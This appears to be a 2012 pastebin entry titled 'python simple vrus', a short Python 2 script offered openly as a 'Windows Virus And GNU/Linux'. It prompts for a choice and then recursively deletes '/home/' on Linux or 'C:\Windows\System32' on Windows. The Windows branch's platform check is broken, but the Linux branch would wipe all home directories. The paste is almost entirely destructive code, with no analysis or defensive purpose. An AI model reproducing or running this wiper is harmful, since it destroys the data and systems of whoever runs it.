
python simple vrus
By:
dauzcode on
Jul 4th, 2012 | syntax:
Python | size: 0.63 KB | hits: 37 | expires: Never
#!/usr/bin/python
import sys, shutil
print """
----------------------
-----+_) Windows Virus And GNU/Linux (_+---
----------------------\n
[1] WIndows
[2] Linux
"""
def Linux():
try:
if sys.platform == "linux2":
shutil.rmtree("/home/")
print "Success"
except OSError:
print "please try again it is not a directory"
def Windows():
if sys.platform == "win, win32":
shutil.rmtree ("C:\Windows\System32")
pilihan =input("choice 1 or 2 ?")
if pilihan == 1:
Windows()
elif pilihan == 2:
Linux()
else:
print "You Mush choice 1 or 2 !!! "